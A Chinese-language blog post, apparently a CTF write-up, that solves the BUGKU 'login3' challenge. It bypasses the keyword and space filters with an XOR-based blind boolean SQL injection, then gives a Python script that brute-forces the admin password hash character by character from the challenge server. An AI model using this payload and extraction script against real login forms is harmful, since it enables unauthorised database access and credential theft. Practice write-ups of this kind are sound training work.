BUGKU login3

先看的wp,呢么来复现一遍,emmmmmm,尝试一波,用户名输入admin后,密码随便输,发现提示password error,呢么填其他用户名的话,发现提示username does not exist!,然后就开始尝试了,尝试了and,union,空格,这些都被过滤了,对了,=也过滤了,可以用<>不等号来代替。空格过滤了话,可以用()或者/**/代替,但是貌似*被过滤了,那就用()来代替,并且可以用爆破的方式。emm,看了wp,用的异或注入。

 

简单的举个例子,1^0=1,0^0=0,1^1=0,只有两个不同的时候才是1。

废话不多说,先说这个核心的思想把。主要爆破的是密码,核心的语句admin’^(ascii(mid(password()from(1)))<>97)^0#

因为我们猜测SQL查询语句是,select password,username from admin where username=”我们输入的用户名”

呢么如果password的第一位ascii不是97的话,呢么语句就是admin’^1^0#,呢么提示的就是username does not exist!,因为是1^1^0,结果为0,所以查询不存在

呢么相反的话,是97的话,呢么就是1^0^0,结果为1,呢么就是查询的admin存在,并且会提示,password error。通过这两个不同,可以用脚本爆破出来.

import requests
str_all="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="
url="http://123.206.31.85:49167/index.php"
r=requests.session()
def password():
    resutlt=""
    for i in range(40):
        fla=0
        for j in str_all:
            playlod = "admin'^(ascii(mid((select(password)from(admin))from({})))<>{})^0#".format(str(i+1),ord(j))
            data = {
                "username": playlod,
                "password": "123"
            }
            s=r.post(url,data)
            print(playlod)
            if "error" in s.text:
                resutlt+=j
                fla=1
                print('**************************',resutlt)
                break
        if fla==0:
            break
password()

爆破出的passwrod是32位md5,解密下就得出了明文密码,然后登陆。得到flag。属于bool报错型的注入。加油,努力,成就自己

 

posted @ 2019-04-09 16:34  yunying  阅读(547)  评论(0)    收藏  举报